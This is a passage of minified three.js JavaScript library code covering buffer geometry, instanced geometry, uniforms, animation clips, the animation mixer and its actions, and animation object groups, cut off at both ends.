this.index},setIndex:function(e){this.index=e},addAttribute:function(e,t){return t instanceof n.BufferAttribute==!1&&t instanceof n.InterleavedBufferAttribute==!1?(console.warn("THREE.BufferGeometry: .addAttribute() now expects ( name, attribute )."),void this.addAttribute(e,new n.BufferAttribute(arguments[1],arguments[2]))):"index"===e?(console.warn("THREE.BufferGeometry.addAttribute: Use .setIndex() for index attribute."),void this.setIndex(t)):(this.attributes[e]=t,this)},getAttribute:function(e){return this.attributes[e]},removeAttribute:function(e){return delete this.attributes[e],this},addGroup:function(e,t,i){this.groups.push({start:e,count:t,materialIndex:void 0!==i?i:0})},clearGroups:function(){this.groups=[]},setDrawRange:function(e,t){this.drawRange.start=e,this.drawRange.count=t},applyMatrix:function(e){var t=this.attributes.position;void 0!==t&&(e.applyToVector3Array(t.array),t.needsUpdate=!0);var i=this.attributes.normal;if(void 0!==i){var r=(new n.Matrix3).getNormalMatrix(e);r.applyToVector3Array(i.array),i.needsUpdate=!0}return null!==this.boundingBox&&this.computeBoundingBox(),null!==this.boundingSphere&&this.computeBoundingSphere(),this},rotateX:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationX(t),this.applyMatrix(e),this}}(),rotateY:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationY(t),this.applyMatrix(e),this}}(),rotateZ:function(){var e;return function(t){return void 0===e&&(e=new n.Matrix4),e.makeRotationZ(t),this.applyMatrix(e),this}}(),translate:function(){var e;return function(t,i,r){return void 0===e&&(e=new n.Matrix4),e.makeTranslation(t,i,r),this.applyMatrix(e),this}}(),scale:function(){var e;return function(t,i,r){return void 0===e&&(e=new n.Matrix4),e.makeScale(t,i,r),this.applyMatrix(e),this}}(),lookAt:function(){var e;return function(t){void 0===e&&(e=new n.Object3D),e.lookAt(t),e.updateMatrix(),this.applyMatrix(e.matrix)}}(),center:function(){this.computeBoundingBox();var e=this.boundingBox.center().negate();return this.translate(e.x,e.y,e.z),e},setFromObject:function(e){var t=e.geometry;if(e instanceof n.Points||e instanceof n.Line){var i=new n.Float32Attribute(3*t.vertices.length,3),r=new n.Float32Attribute(3*t.colors.length,3);if(this.addAttribute("position",i.copyVector3sArray(t.vertices)),this.addAttribute("color",r.copyColorsArray(t.colors)),t.lineDistances&&t.lineDistances.length===t.vertices.length){var o=new n.Float32Attribute(t.lineDistances.length,1);this.addAttribute("lineDistance",o.copyArray(t.lineDistances))}null!==t.boundingSphere&&(this.boundingSphere=t.boundingSphere.clone()),null!==t.boundingBox&&(this.boundingBox=t.boundingBox.clone())}else e instanceof n.Mesh&&t instanceof n.Geometry&&this.fromGeometry(t);return this},updateFromObject:function(e){var t=e.geometry;if(e instanceof n.Mesh){var i=t.__directGeometry;if(void 0===i)return this.fromGeometry(t);i.verticesNeedUpdate=t.verticesNeedUpdate,i.normalsNeedUpdate=t.normalsNeedUpdate,i.colorsNeedUpdate=t.colorsNeedUpdate,i.uvsNeedUpdate=t.uvsNeedUpdate,i.groupsNeedUpdate=t.groupsNeedUpdate,t.verticesNeedUpdate=!1,t.normalsNeedUpdate=!1,t.colorsNeedUpdate=!1,t.uvsNeedUpdate=!1,t.groupsNeedUpdate=!1,t=i}if(t.verticesNeedUpdate===!0){var r=this.attributes.position;void 0!==r&&(r.copyVector3sArray(t.vertices),r.needsUpdate=!0),t.verticesNeedUpdate=!1}if(t.normalsNeedUpdate===!0){var r=this.attributes.normal;void 0!==r&&(r.copyVector3sArray(t.normals),r.needsUpdate=!0),t.normalsNeedUpdate=!1}if(t.colorsNeedUpdate===!0){var r=this.attributes.color;void 0!==r&&(r.copyColorsArray(t.colors),r.needsUpdate=!0),t.colorsNeedUpdate=!1}if(t.uvsNeedUpdate){var r=this.attributes.uv;void 0!==r&&(r.copyVector2sArray(t.uvs),r.needsUpdate=!0),t.uvsNeedUpdate=!1}if(t.lineDistancesNeedUpdate){var r=this.attributes.lineDistance;void 0!==r&&(r.copyArray(t.lineDistances),r.needsUpdate=!0),t.lineDistancesNeedUpdate=!1}return t.groupsNeedUpdate&&(t.computeGroups(e.geometry),this.groups=t.groups,t.groupsNeedUpdate=!1),this},fromGeometry:function(e){return e.__directGeometry=(new n.DirectGeometry).fromGeometry(e),this.fromDirectGeometry(e.__directGeometry)},fromDirectGeometry:function(e){var t=new Float32Array(3*e.vertices.length);if(this.addAttribute("position",new n.BufferAttribute(t,3).copyVector3sArray(e.vertices)),e.normals.length>0){var i=new Float32Array(3*e.normals.length);this.addAttribute("normal",new n.BufferAttribute(i,3).copyVector3sArray(e.normals));
}if(e.colors.length>0){var r=new Float32Array(3*e.colors.length);this.addAttribute("color",new n.BufferAttribute(r,3).copyColorsArray(e.colors))}if(e.uvs.length>0){var o=new Float32Array(2*e.uvs.length);this.addAttribute("uv",new n.BufferAttribute(o,2).copyVector2sArray(e.uvs))}if(e.uvs2.length>0){var a=new Float32Array(2*e.uvs2.length);this.addAttribute("uv2",new n.BufferAttribute(a,2).copyVector2sArray(e.uvs2))}if(e.indices.length>0){var s=e.vertices.length>65535?Uint32Array:Uint16Array,c=new s(3*e.indices.length);this.setIndex(new n.BufferAttribute(c,1).copyIndicesArray(e.indices))}this.groups=e.groups;for(var u in e.morphTargets){for(var l=[],h=e.morphTargets[u],d=0,p=h.length;p>d;d++){var f=h[d],m=new n.Float32Attribute(3*f.length,3);l.push(m.copyVector3sArray(f))}this.morphAttributes[u]=l}if(e.skinIndices.length>0){var g=new n.Float32Attribute(4*e.skinIndices.length,4);this.addAttribute("skinIndex",g.copyVector4sArray(e.skinIndices))}if(e.skinWeights.length>0){var v=new n.Float32Attribute(4*e.skinWeights.length,4);this.addAttribute("skinWeight",v.copyVector4sArray(e.skinWeights))}return null!==e.boundingSphere&&(this.boundingSphere=e.boundingSphere.clone()),null!==e.boundingBox&&(this.boundingBox=e.boundingBox.clone()),this},computeBoundingBox:function(){null===this.boundingBox&&(this.boundingBox=new n.Box3);var e=this.attributes.position.array;void 0!==e?this.boundingBox.setFromArray(e):this.boundingBox.makeEmpty(),(isNaN(this.boundingBox.min.x)||isNaN(this.boundingBox.min.y)||isNaN(this.boundingBox.min.z))&&console.error('THREE.BufferGeometry.computeBoundingBox: Computed min/max have NaN values. The "position" attribute is likely to have NaN values.',this)},computeBoundingSphere:function(){var e=new n.Box3,t=new n.Vector3;return function(){null===this.boundingSphere&&(this.boundingSphere=new n.Sphere);var i=this.attributes.position.array;if(i){var r=this.boundingSphere.center;e.setFromArray(i),e.center(r);for(var o=0,a=0,s=i.length;s>a;a+=3)t.fromArray(i,a),o=Math.max(o,r.distanceToSquared(t));this.boundingSphere.radius=Math.sqrt(o),isNaN(this.boundingSphere.radius)&&console.error('THREE.BufferGeometry.computeBoundingSphere(): Computed radius is NaN. The "position" attribute is likely to have NaN values.',this)}}}(),computeFaceNormals:function(){},computeVertexNormals:function(){var e=this.index,t=this.attributes,i=this.groups;if(t.position){var r=t.position.array;if(void 0===t.normal)this.addAttribute("normal",new n.BufferAttribute(new Float32Array(r.length),3));else for(var o=t.normal.array,a=0,s=o.length;s>a;a++)o[a]=0;var c,u,l,h=t.normal.array,d=new n.Vector3,p=new n.Vector3,f=new n.Vector3,m=new n.Vector3,g=new n.Vector3;if(e){var v=e.array;0===i.length&&this.addGroup(0,v.length);for(var y=0,M=i.length;M>y;++y)for(var A=i[y],x=A.start,w=A.count,a=x,s=x+w;s>a;a+=3)c=3*v[a+0],u=3*v[a+1],l=3*v[a+2],d.fromArray(r,c),p.fromArray(r,u),f.fromArray(r,l),m.subVectors(f,p),g.subVectors(d,p),m.cross(g),h[c]+=m.x,h[c+1]+=m.y,h[c+2]+=m.z,h[u]+=m.x,h[u+1]+=m.y,h[u+2]+=m.z,h[l]+=m.x,h[l+1]+=m.y,h[l+2]+=m.z}else for(var a=0,s=r.length;s>a;a+=9)d.fromArray(r,a),p.fromArray(r,a+3),f.fromArray(r,a+6),m.subVectors(f,p),g.subVectors(d,p),m.cross(g),h[a]=m.x,h[a+1]=m.y,h[a+2]=m.z,h[a+3]=m.x,h[a+4]=m.y,h[a+5]=m.z,h[a+6]=m.x,h[a+7]=m.y,h[a+8]=m.z;this.normalizeNormals(),t.normal.needsUpdate=!0}},merge:function(e,t){if(e instanceof n.BufferGeometry==!1)return void console.error("THREE.BufferGeometry.merge(): geometry not an instance of THREE.BufferGeometry.",e);void 0===t&&(t=0);var i=this.attributes;for(var r in i)if(void 0!==e.attributes[r])for(var o=i[r],a=o.array,s=e.attributes[r],c=s.array,u=s.itemSize,l=0,h=u*t;l<c.length;l++,h++)a[h]=c[l];return this},normalizeNormals:function(){for(var e,t,i,r,n=this.attributes.normal.array,o=0,a=n.length;a>o;o+=3)e=n[o],t=n[o+1],i=n[o+2],r=1/Math.sqrt(e*e+t*t+i*i),n[o]*=r,n[o+1]*=r,n[o+2]*=r},toNonIndexed:function(){if(null===this.index)return console.warn("THREE.BufferGeometry.toNonIndexed(): Geometry is already non-indexed."),this;var e=new n.BufferGeometry,t=this.index.array,i=this.attributes;for(var r in i){for(var o=i[r],a=o.array,s=o.itemSize,c=new a.constructor(t.length*s),u=0,l=0,h=0,d=t.length;d>h;h++){u=t[h]*s;for(var p=0;s>p;p++)c[l++]=a[u++]}e.addAttribute(r,new n.BufferAttribute(c,s))}return e},toJSON:function(){var e={metadata:{version:4.4,type:"BufferGeometry",generator:"BufferGeometry.toJSON"}};if(e.uuid=this.uuid,e.type=this.type,""!==this.name&&(e.name=this.name),void 0!==this.parameters){var t=this.parameters;for(var i in t)void 0!==t[i]&&(e[i]=t[i]);return e}e.data={attributes:{}};var r=this.index;if(null!==r){var n=Array.prototype.slice.call(r.array);e.data.index={type:r.array.constructor.name,array:n}}var o=this.attributes;for(var i in o){var a=o[i],n=Array.prototype.slice.call(a.array);e.data.attributes[i]={itemSize:a.itemSize,type:a.array.constructor.name,array:n,normalized:a.normalized}}var s=this.groups;s.length>0&&(e.data.groups=JSON.parse(JSON.stringify(s)));var c=this.boundingSphere;return null!==c&&(e.data.boundingSphere={center:c.center.toArray(),radius:c.radius}),e},clone:function(){return(new n.BufferGeometry).copy(this)},copy:function(e){var t=e.index;null!==t&&this.setIndex(t.clone());var i=e.attributes;for(var r in i){var n=i[r];this.addAttribute(r,n.clone())}for(var o=e.groups,a=0,s=o.length;s>a;a++){var c=o[a];this.addGroup(c.start,c.count,c.materialIndex)}return this},dispose:function(){this.dispatchEvent({type:"dispose"})}},n.EventDispatcher.prototype.apply(n.BufferGeometry.prototype),n.BufferGeometry.MaxIndex=65535,n.InstancedBufferGeometry=function(){n.BufferGeometry.call(this),this.type="InstancedBufferGeometry",this.maxInstancedCount=void 0},n.InstancedBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.InstancedBufferGeometry.prototype.constructor=n.InstancedBufferGeometry,n.InstancedBufferGeometry.prototype.addGroup=function(e,t,i){this.groups.push({start:e,count:t,instances:i})},n.InstancedBufferGeometry.prototype.copy=function(e){var t=e.index;null!==t&&this.setIndex(t.clone());var i=e.attributes;for(var r in i){var n=i[r];this.addAttribute(r,n.clone())}for(var o=e.groups,a=0,s=o.length;s>a;a++){var c=o[a];this.addGroup(c.start,c.count,c.instances)}return this},n.EventDispatcher.prototype.apply(n.InstancedBufferGeometry.prototype),n.Uniform=function(e){"string"==typeof e&&(console.warn("THREE.Uniform: Type parameter is no longer needed."),e=arguments[1]),this.value=e,this.dynamic=!1},n.Uniform.prototype={constructor:n.Uniform,onUpdate:function(e){return this.dynamic=!0,this.onUpdateCallback=e,this}},n.AnimationClip=function(e,t,i){this.name=e||n.Math.generateUUID(),this.tracks=i,this.duration=void 0!==t?t:-1,this.duration<0&&this.resetDuration(),this.trim(),this.optimize()},n.AnimationClip.prototype={constructor:n.AnimationClip,resetDuration:function(){for(var e=this.tracks,t=0,i=0,r=e.length;i!==r;++i){var n=this.tracks[i];t=Math.max(t,n.times[n.times.length-1])}this.duration=t},trim:function(){for(var e=0;e<this.tracks.length;e++)this.tracks[e].trim(0,this.duration);return this},optimize:function(){for(var e=0;e<this.tracks.length;e++)this.tracks[e].optimize();return this}},Object.assign(n.AnimationClip,{parse:function(e){for(var t=[],i=e.tracks,r=1/(e.fps||1),o=0,a=i.length;o!==a;++o)t.push(n.KeyframeTrack.parse(i[o]).scale(r));return new n.AnimationClip(e.name,e.duration,t)},toJSON:function(e){for(var t=[],i=e.tracks,r={name:e.name,duration:e.duration,tracks:t},o=0,a=i.length;o!==a;++o)t.push(n.KeyframeTrack.toJSON(i[o]));return r},CreateFromMorphTargetSequence:function(e,t,i,r){for(var o=t.length,a=[],s=0;o>s;s++){var c=[],u=[];c.push((s+o-1)%o,s,(s+1)%o),u.push(0,1,0);var l=n.AnimationUtils.getKeyframeOrder(c);c=n.AnimationUtils.sortedArray(c,1,l),u=n.AnimationUtils.sortedArray(u,1,l),r||0!==c[0]||(c.push(o),u.push(u[0])),a.push(new n.NumberKeyframeTrack(".morphTargetInfluences["+t[s].name+"]",c,u).scale(1/i))}return new n.AnimationClip(e,-1,a)},findByName:function(e,t){for(var i=0;i<e.length;i++)if(e[i].name===t)return e[i];return null},CreateClipsFromMorphTargetSequences:function(e,t,i){for(var r={},o=/^([\w-]*?)([\d]+)$/,a=0,s=e.length;s>a;a++){var c=e[a],u=c.name.match(o);if(u&&u.length>1){var l=u[1],h=r[l];h||(r[l]=h=[]),h.push(c)}}var d=[];for(var l in r)d.push(n.AnimationClip.CreateFromMorphTargetSequence(l,r[l],t,i));return d},parseAnimation:function(e,t){if(!e)return console.error(" no animation in JSONLoader data"),null;for(var i=function(e,t,i,r,o){if(0!==i.length){var a=[],s=[];n.AnimationUtils.flattenJSON(i,a,s,r),0!==a.length&&o.push(new e(t,a,s))}},r=[],o=e.name||"default",a=e.length||-1,s=e.fps||30,c=e.hierarchy||[],u=0;u<c.length;u++){var l=c[u].keys;if(l&&0!=l.length)if(l[0].morphTargets){for(var h={},d=0;d<l.length;d++)if(l[d].morphTargets)for(var p=0;p<l[d].morphTargets.length;p++)h[l[d].morphTargets[p]]=-1;for(var f in h){for(var m=[],g=[],p=0;p!==l[d].morphTargets.length;++p){var v=l[d];m.push(v.time),g.push(v.morphTarget===f?1:0)}r.push(new n.NumberKeyframeTrack(".morphTargetInfluence["+f+"]",m,g))}a=h.length*(s||1)}else{var y=".bones["+t[u].name+"]";i(n.VectorKeyframeTrack,y+".position",l,"pos",r),i(n.QuaternionKeyframeTrack,y+".quaternion",l,"rot",r),i(n.VectorKeyframeTrack,y+".scale",l,"scl",r)}}if(0===r.length)return null;var M=new n.AnimationClip(o,a,r);return M}}),n.AnimationMixer=function(e){this._root=e,this._initMemoryManager(),this._accuIndex=0,this.time=0,this.timeScale=1},n.AnimationMixer.prototype={constructor:n.AnimationMixer,clipAction:function(e,t){var i,r=t||this._root,o=r.uuid,a="string"==typeof e?e:e.name,s=e!==a?e:null,c=this._actionsByClip[a];if(void 0!==c){var u=c.actionByRoot[o];if(void 0!==u)return u;if(i=c.knownActions[0],s=i._clip,e!==a&&e!==s)throw new Error("Different clips with the same name detected!")}if(null===s)return null;var l=new n.AnimationMixer._Action(this,s,t);return this._bindAction(l,i),this._addInactiveAction(l,a,o),l},existingAction:function(e,t){var i=t||this._root,r=i.uuid,n="string"==typeof e?e:e.name,o=this._actionsByClip[n];return void 0!==o?o.actionByRoot[r]||null:null},stopAllAction:function(){var e=this._actions,t=this._nActiveActions,i=this._bindings,r=this._nActiveBindings;this._nActiveActions=0,this._nActiveBindings=0;for(var n=0;n!==t;++n)e[n].reset();for(var n=0;n!==r;++n)i[n].useCount=0;return this},update:function(e){e*=this.timeScale;for(var t=this._actions,i=this._nActiveActions,r=this.time+=e,n=Math.sign(e),o=this._accuIndex^=1,a=0;a!==i;++a){var s=t[a];s.enabled&&s._update(r,e,n,o)}for(var c=this._bindings,u=this._nActiveBindings,a=0;a!==u;++a)c[a].apply(o);return this},getRoot:function(){return this._root},uncacheClip:function(e){var t=this._actions,i=e.name,r=this._actionsByClip,n=r[i];if(void 0!==n){for(var o=n.knownActions,a=0,s=o.length;a!==s;++a){var c=o[a];this._deactivateAction(c);var u=c._cacheIndex,l=t[t.length-1];c._cacheIndex=null,c._byClipCacheIndex=null,l._cacheIndex=u,t[u]=l,t.pop(),this._removeInactiveBindingsForAction(c)}delete r[i]}},uncacheRoot:function(e){var t=e.uuid,i=this._actionsByClip;for(var r in i){var n=i[r].actionByRoot,o=n[t];void 0!==o&&(this._deactivateAction(o),this._removeInactiveAction(o))}var a=this._bindingsByRootAndName,s=a[t];if(void 0!==s)for(var c in s){var u=s[c];u.restoreOriginalState(),this._removeInactiveBinding(u)}},uncacheAction:function(e,t){var i=this.existingAction(e,t);null!==i&&(this._deactivateAction(i),this._removeInactiveAction(i))}},n.EventDispatcher.prototype.apply(n.AnimationMixer.prototype),n.AnimationMixer._Action=function(e,t,i){this._mixer=e,this._clip=t,this._localRoot=i||null;for(var r=t.tracks,o=r.length,a=new Array(o),s={endingStart:n.ZeroCurvatureEnding,endingEnd:n.ZeroCurvatureEnding},c=0;c!==o;++c){var u=r[c].createInterpolant(null);a[c]=u,u.settings=s}this._interpolantSettings=s,this._interpolants=a,this._propertyBindings=new Array(o),this._cacheIndex=null,this._byClipCacheIndex=null,this._timeScaleInterpolant=null,this._weightInterpolant=null,this.loop=n.LoopRepeat,this._loopCount=-1,this._startTime=null,this.time=0,this.timeScale=1,this._effectiveTimeScale=1,this.weight=1,this._effectiveWeight=1,this.repetitions=1/0,this.paused=!1,this.enabled=!0,this.clampWhenFinished=!1,this.zeroSlopeAtStart=!0,this.zeroSlopeAtEnd=!0},n.AnimationMixer._Action.prototype={constructor:n.AnimationMixer._Action,play:function(){return this._mixer._activateAction(this),this},stop:function(){return this._mixer._deactivateAction(this),this.reset()},reset:function(){return this.paused=!1,this.enabled=!0,this.time=0,this._loopCount=-1,this._startTime=null,this.stopFading().stopWarping()},isRunning:function(){this._startTime;return this.enabled&&!this.paused&&0!==this.timeScale&&null===this._startTime&&this._mixer._isActiveAction(this)},isScheduled:function(){return this._mixer._isActiveAction(this)},startAt:function(e){return this._startTime=e,this},setLoop:function(e,t){return this.loop=e,this.repetitions=t,this},setEffectiveWeight:function(e){return this.weight=e,this._effectiveWeight=this.enabled?e:0,this.stopFading()},getEffectiveWeight:function(){return this._effectiveWeight},fadeIn:function(e){return this._scheduleFading(e,0,1)},fadeOut:function(e){return this._scheduleFading(e,1,0)},crossFadeFrom:function(e,t,i){this._mixer;if(e.fadeOut(t),this.fadeIn(t),i){var r=this._clip.duration,n=e._clip.duration,o=n/r,a=r/n;e.warp(1,o,t),this.warp(a,1,t)}return this},crossFadeTo:function(e,t,i){return e.crossFadeFrom(this,t,i)},stopFading:function(){var e=this._weightInterpolant;return null!==e&&(this._weightInterpolant=null,this._mixer._takeBackControlInterpolant(e)),this},setEffectiveTimeScale:function(e){return this.timeScale=e,this._effectiveTimeScale=this.paused?0:e,this.stopWarping()},getEffectiveTimeScale:function(){return this._effectiveTimeScale},setDuration:function(e){return this.timeScale=this._clip.duration/e,this.stopWarping()},syncWith:function(e){return this.time=e.time,this.timeScale=e.timeScale,this.stopWarping()},halt:function(e){return this.warp(this._currentTimeScale,0,e)},warp:function(e,t,i){var r=this._mixer,n=r.time,o=this._timeScaleInterpolant,a=this.timeScale;null===o&&(o=r._lendControlInterpolant(),this._timeScaleInterpolant=o);var s=o.parameterPositions,c=o.sampleValues;return s[0]=n,s[1]=n+i,c[0]=e/a,c[1]=t/a,this},stopWarping:function(){var e=this._timeScaleInterpolant;return null!==e&&(this._timeScaleInterpolant=null,this._mixer._takeBackControlInterpolant(e)),this},getMixer:function(){return this._mixer},getClip:function(){return this._clip},getRoot:function(){return this._localRoot||this._mixer._root},_update:function(e,t,i,r){var n=this._startTime;if(null!==n){var o=(e-n)*i;if(0>o||0===i)return;this._startTime=null,t=i*o}t*=this._updateTimeScale(e);var a=this._updateTime(t),s=this._updateWeight(e);if(s>0)for(var c=this._interpolants,u=this._propertyBindings,l=0,h=c.length;l!==h;++l)c[l].evaluate(a),u[l].accumulate(r,s)},_updateWeight:function(e){var t=0;if(this.enabled){t=this.weight;var i=this._weightInterpolant;if(null!==i){var r=i.evaluate(e)[0];t*=r,e>i.parameterPositions[1]&&(this.stopFading(),0===r&&(this.enabled=!1))}}return this._effectiveWeight=t,t},_updateTimeScale:function(e){var t=0;if(!this.paused){t=this.timeScale;var i=this._timeScaleInterpolant;if(null!==i){var r=i.evaluate(e)[0];t*=r,e>i.parameterPositions[1]&&(this.stopWarping(),0===t?this.pause=!0:this.timeScale=t)}}return this._effectiveTimeScale=t,t},_updateTime:function(e){var t=this.time+e;if(0===e)return t;var i=this._clip.duration,r=this.loop,o=this._loopCount,a=!1;switch(r){case n.LoopOnce:if(-1===o&&(this.loopCount=0,this._setEndings(!0,!0,!1)),t>=i)t=i;else{if(!(0>t))break;t=0}this.clampWhenFinished?this.pause=!0:this.enabled=!1,this._mixer.dispatchEvent({type:"finished",action:this,direction:0>e?-1:1});break;case n.LoopPingPong:a=!0;case n.LoopRepeat:if(-1===o&&(e>0?(o=0,this._setEndings(!0,0===this.repetitions,a)):this._setEndings(0===this.repetitions,!0,a)),t>=i||0>t){var s=Math.floor(t/i);t-=i*s,o+=Math.abs(s);var c=this.repetitions-o;if(0>c){this.clampWhenFinished?this.paused=!0:this.enabled=!1,t=e>0?i:0,this._mixer.dispatchEvent({type:"finished",action:this,direction:e>0?1:-1});break}if(0===c){var u=0>e;this._setEndings(u,!u,a)}else this._setEndings(!1,!1,a);this._loopCount=o,this._mixer.dispatchEvent({type:"loop",action:this,loopDelta:s})}if(r===n.LoopPingPong&&1===(1&o))return this.time=t,i-t}return this.time=t,t},_setEndings:function(e,t,i){var r=this._interpolantSettings;i?(r.endingStart=n.ZeroSlopeEnding,r.endingEnd=n.ZeroSlopeEnding):(r.endingStart=e?this.zeroSlopeAtStart?n.ZeroSlopeEnding:n.ZeroCurvatureEnding:n.WrapAroundEnding,r.endingEnd=t?this.zeroSlopeAtEnd?n.ZeroSlopeEnding:n.ZeroCurvatureEnding:n.WrapAroundEnding)},_scheduleFading:function(e,t,i){var r=this._mixer,n=r.time,o=this._weightInterpolant;null===o&&(o=r._lendControlInterpolant(),this._weightInterpolant=o);var a=o.parameterPositions,s=o.sampleValues;return a[0]=n,s[0]=t,a[1]=n+e,s[1]=i,this}},Object.assign(n.AnimationMixer.prototype,{_bindAction:function(e,t){var i=e._localRoot||this._root,r=e._clip.tracks,o=r.length,a=e._propertyBindings,s=e._interpolants,c=i.uuid,u=this._bindingsByRootAndName,l=u[c];void 0===l&&(l={},u[c]=l);for(var h=0;h!==o;++h){var d=r[h],p=d.name,f=l[p];if(void 0!==f)a[h]=f;else{if(f=a[h],void 0!==f){null===f._cacheIndex&&(++f.referenceCount,this._addInactiveBinding(f,c,p));continue}var m=t&&t._propertyBindings[h].binding.parsedPath;f=new n.PropertyMixer(n.PropertyBinding.create(i,p,m),d.ValueTypeName,d.getValueSize()),++f.referenceCount,this._addInactiveBinding(f,c,p),a[h]=f}s[h].resultBuffer=f.buffer}},_activateAction:function(e){if(!this._isActiveAction(e)){if(null===e._cacheIndex){var t=(e._localRoot||this._root).uuid,i=e._clip.name,r=this._actionsByClip[i];this._bindAction(e,r&&r.knownActions[0]),this._addInactiveAction(e,i,t)}for(var n=e._propertyBindings,o=0,a=n.length;o!==a;++o){var s=n[o];0===s.useCount++&&(this._lendBinding(s),s.saveOriginalState())}this._lendAction(e)}},_deactivateAction:function(e){if(this._isActiveAction(e)){for(var t=e._propertyBindings,i=0,r=t.length;i!==r;++i){var n=t[i];0===--n.useCount&&(n.restoreOriginalState(),this._takeBackBinding(n))}this._takeBackAction(e)}},_initMemoryManager:function(){this._actions=[],this._nActiveActions=0,this._actionsByClip={},this._bindings=[],this._nActiveBindings=0,this._bindingsByRootAndName={},this._controlInterpolants=[],this._nActiveControlInterpolants=0;var e=this;this.stats={actions:{get total(){return e._actions.length},get inUse(){return e._nActiveActions}},bindings:{get total(){return e._bindings.length},get inUse(){return e._nActiveBindings}},controlInterpolants:{get total(){return e._controlInterpolants.length},get inUse(){return e._nActiveControlInterpolants}}}},_isActiveAction:function(e){var t=e._cacheIndex;return null!==t&&t<this._nActiveActions},_addInactiveAction:function(e,t,i){var r=this._actions,n=this._actionsByClip,o=n[t];if(void 0===o)o={knownActions:[e],actionByRoot:{}},e._byClipCacheIndex=0,n[t]=o;else{var a=o.knownActions;e._byClipCacheIndex=a.length,a.push(e)}e._cacheIndex=r.length,r.push(e),o.actionByRoot[i]=e},_removeInactiveAction:function(e){var t=this._actions,i=t[t.length-1],r=e._cacheIndex;i._cacheIndex=r,t[r]=i,t.pop(),e._cacheIndex=null;var n=e._clip.name,o=this._actionsByClip,a=o[n],s=a.knownActions,c=s[s.length-1],u=e._byClipCacheIndex;c._byClipCacheIndex=u,s[u]=c,s.pop(),e._byClipCacheIndex=null;var l=a.actionByRoot,h=(t._localRoot||this._root).uuid;delete l[h],0===s.length&&delete o[n],this._removeInactiveBindingsForAction(e)},_removeInactiveBindingsForAction:function(e){for(var t=e._propertyBindings,i=0,r=t.length;i!==r;++i){var n=t[i];0===--n.referenceCount&&this._removeInactiveBinding(n)}},_lendAction:function(e){var t=this._actions,i=e._cacheIndex,r=this._nActiveActions++,n=t[r];e._cacheIndex=r,t[r]=e,n._cacheIndex=i,t[i]=n},_takeBackAction:function(e){var t=this._actions,i=e._cacheIndex,r=--this._nActiveActions,n=t[r];e._cacheIndex=r,t[r]=e,n._cacheIndex=i,t[i]=n},_addInactiveBinding:function(e,t,i){var r=this._bindingsByRootAndName,n=r[t],o=this._bindings;void 0===n&&(n={},r[t]=n),n[i]=e,e._cacheIndex=o.length,o.push(e)},_removeInactiveBinding:function(e){var t=this._bindings,i=e.binding,r=i.rootNode.uuid,n=i.path,o=this._bindingsByRootAndName,a=o[r],s=t[t.length-1],c=e._cacheIndex;s._cacheIndex=c,t[c]=s,t.pop(),delete a[n];e:{for(var u in a)break e;delete o[r]}},_lendBinding:function(e){var t=this._bindings,i=e._cacheIndex,r=this._nActiveBindings++,n=t[r];e._cacheIndex=r,t[r]=e,n._cacheIndex=i,t[i]=n},_takeBackBinding:function(e){var t=this._bindings,i=e._cacheIndex,r=--this._nActiveBindings,n=t[r];e._cacheIndex=r,t[r]=e,n._cacheIndex=i,t[i]=n},_lendControlInterpolant:function(){var e=this._controlInterpolants,t=this._nActiveControlInterpolants++,i=e[t];return void 0===i&&(i=new n.LinearInterpolant(new Float32Array(2),new Float32Array(2),1,this._controlInterpolantsResultBuffer),i.__cacheIndex=t,e[t]=i),i},_takeBackControlInterpolant:function(e){var t=this._controlInterpolants,i=e.__cacheIndex,r=--this._nActiveControlInterpolants,n=t[r];e.__cacheIndex=r,t[r]=e,n.__cacheIndex=i,t[i]=n},_controlInterpolantsResultBuffer:new Float32Array(1)}),n.AnimationObjectGroup=function(){this.uuid=n.Math.generateUUID(),this._objects=Array.prototype.slice.call(arguments),this.nCachedObjects_=0;var e={};this._indicesByUUID=e;for(var t=0,i=arguments.length;t!==i;++t)e[arguments[t].uuid]=t;this._paths=[],this._parsedPaths=[],this._bindings=[],this._bindingsIndicesByPath={};var r=this;this.stats={objects:{get total(){return r._objects.length},get inUse(){return this.total-r.nCachedObjects_}},get bindingsPerObject(){return r._bindings.length}}},n.AnimationObjectGroup.prototype={constructor:n.AnimationObjectGroup,add:function(){for(var e=this._objects,t=e.length,i=this.nCachedObjects_,r=this._indicesByUUID,o=this._paths,a=this._parsedPaths,s=this._bindings,c=s.length,u=0,l=arguments.length;u!==l;++u){var h=arguments[u],d=h.uuid,p=r[d];if(void 0===p){p=t++,r[d]=p,e.push(h);for(var f=0,m=c;f!==m;++f)s[f].push(new n.PropertyBinding(h,o[f],a[f]))}else if(i>p){var g=e[p],v=--i,y=e[v];r[y.uuid]=p,e[p]=y,r[d]=v,e[v]=h;for(var f=0,m=c;f!==m;++f){var M=s[f],A=M[v],x=M[p];M[p]=A,void 0===x&&(x=new n.PropertyBinding(h,o[f],a[f])),M[v]=x}}else e[p]!==g&&console.error("Different objects with the same UUID detected. Clean the caches or recreate your infrastructure when reloading scenes...")}this.nCachedObjects_=i},remove:function(){for(var e=this._objects,t=(e.length,this.nCachedObjects_),i=this._indicesByUUID,r=this._bindings,n=r.length,o=0,a=arguments.length;o!==a;++o){var s=arguments[o],c=s.uuid,u=i[c];if(void 0!==u&&u>=t){var l=t++,h=e[l];i[h.uuid]=u,e[u]=h,i[c]=l,e[l]=s;for(var d=0,p=n;d!==p;++d){var f=r[d],m=f[l],g=f[u];f[u]=m,f[l]=g}}}this.nCachedObjects_=t},uncache:function(){for(var e=this._objects,t=e.length,i=this.nCachedObjects_,r=this._indicesByUUID,n=this._bindings,o=n.length,a=0,s=arguments.length;a!==s;++a){var c=arguments[a],u=c.uuid,l=r[u];if(void 0!==l)if(delete r[u],i>l){var h=--i,d=e[h],p=--t,f=e[p];r[d.uuid]=l,e[l]=d,r[f.uuid]=h,e[h]=f,e.pop();for(var m=0,g=o;m!==g;++m){var v=n[m],y=v[h],M=v[p];v[l]=y,v[h]=M,v.pop()}}else{var p=--t,f=e[p];r[f.uuid]=l,e[l]=f,e.pop();for(var m=0,g=o;m!==g;++m){var v=n[m];v[l]=v[p],v.pop()}}}this.nCachedObjects_=i},subscribe_:function(e,t){var i=this._bindingsIndicesByPath,r=i[e],o=this._bindings;if(void 0!==r)return o[r];var a=this._paths,s=this._parsedPaths,c=this._objects,u=c.length,l=this.nCachedObjects_,h=new Array(u);r=o.length,i[e]=r,a.push(e),s.push(t),o.push(h);for(var 